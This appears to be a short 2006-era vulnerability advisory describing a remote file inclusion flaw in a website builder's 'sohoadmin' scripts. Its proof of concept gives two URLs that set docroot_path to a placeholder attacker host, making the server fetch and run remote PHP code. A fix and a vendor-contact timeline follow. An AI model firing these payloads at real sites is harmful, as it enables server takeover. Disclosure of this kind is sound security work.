Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

and maintain a great website. It reins-in the hard parts of building a website and presents them a way that the 
non-geek can understand and control
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in script shared_functions.php
--------------------------shared_functions.php-----------------------------------
....
<?
...
include_once($_SESSION['docroot_path']."/sohoadmin/includes/mysql_insert.class.php");

# userData manipulation class (works with misc_userdata table)

include_once($_SESSION['docroot_path']."/sohoadmin/includes/userdata.class.php");

...
----------------------------------------------------------

Input passed to the "$_SESSION['docroot_path']" parameter in shared_functions.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

/client_files/shopping_cart/pgm-shopping_css.inc.php
/program/includes/shared_functions.php



Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/sohoadmin/program/includes/shared_functions.php?_SESSION[docroot_path]=http://attacker.com/inject.txt?
http://target.com/sohoadmin/client_files/shopping_cart/pgm-shopping_css.inc.php?_SESSION[docroot_path]=http://attacker.com/inject.txt?


Solution:
~~~~~~~

- Sanitize variable $_SESSION['docroot_path'] affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~

31 - 10 - 2006 bugs found
31 - 10 - 2006 vendor contacted
